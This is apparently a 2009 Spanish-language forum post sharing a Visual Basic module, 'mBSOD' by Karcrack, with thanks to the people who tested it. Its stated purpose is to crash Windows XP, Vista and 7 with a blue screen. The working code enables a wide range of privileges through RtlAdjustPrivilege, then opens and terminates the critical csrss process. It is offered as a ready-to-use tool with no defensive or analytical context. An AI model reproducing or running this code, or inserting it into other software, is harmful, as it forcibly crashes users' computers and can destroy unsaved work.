Código
'--------------------------------------------------------------------------------------- ' Module : mBSOD ' Author : Karcrack ' Now$ : 16/07/2009 18:08 ' Used for? : Make a BSOD on W$ ' Tested On : W. XP ... W. Vista (Thanks Kiash)... W. Seven (Thanks SkyWeb/Dessa) '--------------------------------------------------------------------------------------- Option Explicit 'NTDLL Private Declare Function CsrGetProcessId Lib "ntdll.dll" () As Long Private Declare Function RtlAdjustPrivilege Lib "ntdll.dll" (ByVal Privilege As Long, ByVal Enable As Long, ByVal Client As Long, WasEnabled As Long) As Long 'KERNEL32 Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long Private Declare Function TerminateProcess Lib "kernel32.dll" (ByVal hProcess As Long, ByVal uExitCode As Long) As Long Public Sub CrashWindows() Dim hProc As Long Call GetAllPrivilegies hProc = OpenProcess(&H1F0FFF, 0&, CsrGetProcessId) ' &H1F0FFF = PROCESS_ALL_ACCESS Call TerminateProcess(hProc, 0&) End Sub Private Sub GetAllPrivilegies() Dim i As Long For i = 0 To 200: Call RtlAdjustPrivilege(ByVal i&, 1, 0, 0): Next i End Sub
Gracias por probarlo, Kiash, SkyWeb, Dessa